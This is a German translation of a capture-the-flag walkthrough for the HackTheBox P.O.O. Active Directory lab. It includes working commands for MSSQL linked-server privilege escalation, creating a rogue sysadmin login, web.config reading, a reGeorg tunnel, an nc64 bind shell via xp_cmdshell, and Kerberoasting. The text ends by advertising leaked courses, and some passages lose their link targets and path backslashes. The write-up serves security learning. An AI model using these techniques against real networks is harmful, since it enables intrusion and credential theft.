
In diesem Artikel werden wir nicht nur ein einzelnes System, sondern ein ganzes Mini-Labor von der Plattform analysieren. .
Wie in der Beschreibung erwähnt, dient P.O.O. dazu, Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung zu überprüfen. Das Ziel ist es, den verfügbaren Host zu kompromittieren, die Privilegien zu erhöhen und letztendlich die gesamte Domain zu kompromittieren, während 5 Flags gesammelt werden.
Der Zugang zum Labor erfolgt über VPN. Es wird empfohlen, sich nicht von Ihrem Arbeitscomputer oder einem Host mit wichtigen Daten zu verbinden, da Sie in ein privates Netzwerk eintreten, in dem Menschen sind, die in der Informationssicherheit etwas draufhaben 🙂
Organisationsinformationen
Um Sie über neue Artikel, Software und weitere Informationen auf dem Laufenden zu halten, habe ich und im Bereich IuKBS gegründet. Auch Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen .
Alle Informationen werden ausschließlich zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die einer Person durch die Nutzung des Wissens und der Methoden, die aus dem Studium dieses Dokuments gewonnen wurden, entstehen.
Einleitung
Dieses Endgame besteht aus zwei Maschinen und beinhaltet 5 Flags.

Außerdem wird eine Beschreibung und die Adresse des verfügbaren Hosts bereitgestellt.

Lass uns anfangen!
Recon-Flag
Dieser Host hat die IP-Adresse 10.13.38.11, die ich in \/etc\/hosts hinzufüge.
10.13.38.11 poo.htb
Zuerst scannen wir die offenen Ports. Da es lange dauert, alle Ports mit nmap zu scannen, werde ich dies zunächst mit masscan machen. Wir scannen alle TCP- und UDP-Ports über die Schnittstelle tun0 mit einer Geschwindigkeit von 500 Paketen pro Sekunde.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports laufen, starten wir einen Scan mit der Option -A.
nmap -A poo.htb -p80,1433 
Somit haben wir IIS- und MSSQL-Dienste. Dabei erfahren wir den tatsächlichen DNS-Namen der Domain und des Computers. Auf dem Webserver begrüßt uns die Startseite von IIS.

Lassen Sie uns die Verzeichnisse durchgehen. Ich benutze dafür gobuster. In den Optionen geben wir die Anzahl der Threads 128 (-t), die URL (-u), das Wörterbuch (-w) und die für uns interessanten Erweiterungen (-x) an.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
So haben wir eine HTTP-Authentifizierung für das Verzeichnis /admin sowie eine verfügbare Datei des Desktop-Service .DS_Store. .DS_Store sind Dateien, in denen Benutzereinstellungen für den Ordner gespeichert werden, wie z. B. die Liste der Dateien, die Position der Symbole und das ausgewählte Hintergrundbild. Solche Dateien können von Webentwicklern im Verzeichnis des Webservers hinterlegt werden. Damit erhalten wir Informationen über den Inhalt des Katalogs. Dafür kann man .
python3 dsstore_crawler.py -i http://poo.htb/ 
Wir laden den Inhalt des Verzeichnisses. Das Interessanteste hier ist das Verzeichnis /dev, aus dem wir in zwei Ästen die Quellcodes und DB-Dateien einsehen können. Wir können jedoch die ersten 6 Zeichen der Dateinamen und Verzeichnisse sehen, wenn der Dienst anfällig für IIS ShortName ist. Diese Sicherheitsanfälligkeit lässt sich überprüfen mit .

Und wir finden eine Textdatei, die mit „poo_co“ beginnt. Ohne zu wissen, was ich als Nächstes tun soll, habe ich einfach alle Wörter aus dem Verzeichnis gewählt, die mit „co“ beginnen.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtUnd wir gehen es mit wfuzz durch.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Und wir finden ein passendes Wort! Wir sehen uns diese Datei an und speichern die Anmeldedaten (laut dem Parameter DBNAME stammen sie von MSSQL).

Wir geben das Flag ab und haben 20% Fortschritt gemacht.

Huh flag
Wir verbinden uns mit MSSQL, ich verwende DBeaver.

In dieser Datenbank finden wir nichts Interessantes, also erstellen wir einen SQL-Editor und prüfen, welche Benutzer vorhanden sind.
SELECT name FROM master..syslogins; 
Wir haben zwei Benutzer. Lassen Sie uns unsere Berechtigungen überprüfen.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Es gibt also keine Privilegien. Lassen Sie uns die verbundenen Server betrachten; ich habe diese Methodik bereits ausführlich beschrieben. .
SELECT * FROM master..sysservers; 
So finden wir einen weiteren SQL Server. Lassen Sie uns die Ausführung von Befehlen auf diesem Server mit openquery() überprüfen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Und wir können sogar Abfragebäume erstellen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Der Punkt ist, dass, wenn wir eine Abfrage auf einem verbundenen Server ausführen, die Abfrage im Kontext eines anderen Benutzers ausgeführt wird! Lassen Sie uns sehen, in welchem Kontext wir auf dem verbundenen Server arbeiten.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Schauen wir uns jetzt an, in welchem Kontext die Abfragen vom verbundenen Server auf unseren ausgeführt werden!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Dies ist also der DBO-Kontext, der über alle Berechtigungen verfügen sollte. Lassen Sie uns die Berechtigungen im Falle einer Anfrage vom verbundenen Server überprüfen.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Wie Sie sehen können, haben wir alle Berechtigungen! Lassen Sie uns so unseren Admin erstellen. Aber über openquery gelingt dies nicht, machen wir es mit EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Und jetzt verbinden wir uns mit den Anmeldedaten des neuen Benutzers und sehen die neue Datenbank flag.

Setzen wir dieses Flag und machen wir weiter.

BackTrack-Flag
Wir erhalten eine Shell mithilfe von MSSQL. Ich benutze mssqlclient aus dem Impacket-Paket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Wir müssen die Passwörter beschaffen, und das erste, was wir bereits gefunden haben, ist die Website. Daher benötigen wir die Konfiguration des Webservers (ein einfaches Shell zu werfen, scheint nicht zu funktionieren, wahrscheinlich ist die Firewall aktiv).

Aber der Zugriff ist verweigert. Obwohl wir die Datei aus MSSQL lesen können, müssen wir nur wissen, welche Programmiersprachen konfiguriert sind. Und im MSSQL-Verzeichnis erfahren wir, dass Python vorhanden ist.

Dann gibt es keine Probleme, die Datei web.config zu lesen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Mit den gefundenen Anmeldedaten gehen wir zu /admin und holen uns das Flag.


Foothold-Flag
Tatsächlich gibt es einige Unannehmlichkeiten beim Einsatz einer Firewall, aber beim Überprüfen der Netzwerkeinstellungen bemerken wir, dass auch IPv6 verwendet wird!

Fügen wir diese Adresse zu /etc/hosts hinzu.
dead:babe::1001 poo6.htb
Lass uns den Host erneut scannen, diesmal über das IPv6-Protokoll.

Und über IPv6 ist der WinRM-Dienst verfügbar. Lassen Sie uns mit den gefundenen Anmeldedaten verbinden.

Auf dem Desktop befindet sich ein Flag, wir geben es ab.

P00ned-Flag
Nachdem wir Recon auf dem Host durchgeführt haben, finden wir nichts Besonderes. Daher wurde beschlossen, erneut nach Anmeldedaten zu suchen (darüber habe ich auch geschrieben ). Aber es gelang mir nicht, alle SPN aus dem System über WinRM abzurufen.
setspn.exe -T intranet.poo -Q */* 
Lassen Sie uns den Befehl über MSSQL ausführen.

Mit der angegebenen Methode erhalten wir die SPNs der Benutzer p00_hr und p00_adm, was bedeutet, dass sie anfällig für Angriffe wie Kerberoasting sind. Kurz gesagt, wir können ihre Passwort-Hashes abrufen.
Zunächst müssen wir eine stabile Shell im Namen des MSSQL-Benutzers erhalten. Da unser Zugang jedoch eingeschränkt ist, haben wir nur Verbindung zum Host über die Ports 80 und 1433. Aber es gibt die Möglichkeit, den Traffic über den Port 80 zu tunneln! Dafür verwenden wir . Wir laden die Datei tunnel.aspx in das Home-Verzeichnis des Webservers — C:inetpubwwwroot.

Aber beim Versuch, darauf zuzugreifen, erhalten wir einen Fehler 404. Das bedeutet, dass *.aspx-Dateien nicht ausgeführt werden. Um Dateien mit dieser Erweiterung ausführen zu können, installieren wir ASP.NET 4.5 wie folgt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Und jetzt erhalten wir beim Zugriff auf tunnel.aspx die Antwort, dass alles bereit ist.
![]()
Lassen Sie uns den Client-Teil der Anwendung starten, der sich mit dem Weiterleiten des Traffics befasst. Wir werden gesamten Traffic vom Port 5432 auf den Server umleiten.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Und wir verwenden proxychains, um den Datenverkehr jeder Anwendung über unseren Proxy zu leiten. Wir fügen diesen Proxy in die Konfigurationsdatei /etc/proxychains.conf hinzu.

Jetzt laden wir das Programm auf den Server hoch, mit dem wir eine stabile bind Shell erstellen und das Skript , mit dem wir den Kerberoasting-Angriff durchführen.

Jetzt starten wir den Listener über MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
und verbinden uns über unseren Proxy.
proxychains rlwrap nc poo.htb 4321 
Lass uns die Hashes erhalten.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Im nächsten Schritt müssen wir diese Hashes durchgehen. Da im rockyou-Wörterbuch keine dieser Passwörter enthalten war, habe ich ALLE Passwortwörterbücher verwendet, die in Seclists bereitgestellt wurden. Für das Durchtesten verwenden wir hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceUnd finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.


So haben wir drei Benutzer, nun gehen wir zum Domänencontroller. Zuerst erfahren wir seine Adresse.

Großartig, wir haben die IP-Adresse des Domänencontrollers ermittelt. Lassen Sie uns alle Benutzer der Domäne herausfinden und sehen, wer von ihnen Administrator ist. Dafür laden wir das Skript PowerView.ps1 herunter. Anschließend melden wir uns mit evil-winrm an und geben dabei im Parameter -s das Verzeichnis des Skripts an. Danach laden wir einfach das PowerView-Skript hoch.

Jetzt stehen uns alle Funktionen zur Verfügung. Der Benutzer p00_adm scheint privilegiert zu sein, also arbeiten wir im Kontext dieses Benutzers. Wir erstellen ein PSCredential-Objekt für diesen Benutzer.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassJetzt werden alle PowerShell-Befehle, bei denen wir Creds angeben, im Namen von p00_adm ausgeführt. Lassen Sie uns die Liste der Benutzer und das Attribut AdminCount anzeigen.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Und so ist unser Benutzer tatsächlich privilegiert. Lassen Sie uns sehen, in welchen Gruppen er Mitglied ist.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Wir bestätigen endgültig, dass der Benutzer der Administrator der Domain ist. Dies gibt ihm das Recht auf Remote-Zugriff auf den Domaincontroller. Lassen Sie uns versuchen, über WinRM auf unserem Tunnel zuzugreifen. Ich war über die Fehler, die reGeorg beim Einsatz von evil-winrm ausgibt, verwirrt.

Dann verwenden wir ein anderes, einfacheres für die Verbindung zu WinRM. Lassen Sie uns die Verbindungseinstellungen öffnen und ändern.

Wir versuchen, uns zu verbinden, und wir sind im System.

Aber es gibt keine Flagge. Schauen wir uns also die Benutzer an und überprüfen die Arbeitsplätze.

Bei mr3ks finden wir die Flagge und das Labor ist zu 100 % bestanden.

Das ist alles. Als Feedback, kommentieren Sie bitte - haben Sie etwas Neues aus diesem Artikel gelernt und war er für Sie nützlich.
Sie können sich uns anschließen . Dort finden Sie interessante Materialien, geleakte Kurse sowie Software. Lassen Sie uns eine Gemeinschaft aufbauen, in der Menschen aus verschiedenen IT-Bereichen sich zusammenschließen, damit wir uns bei allen Fragen zur IT und IT-Sicherheit gegenseitig helfen können.
Quelle: habr.com
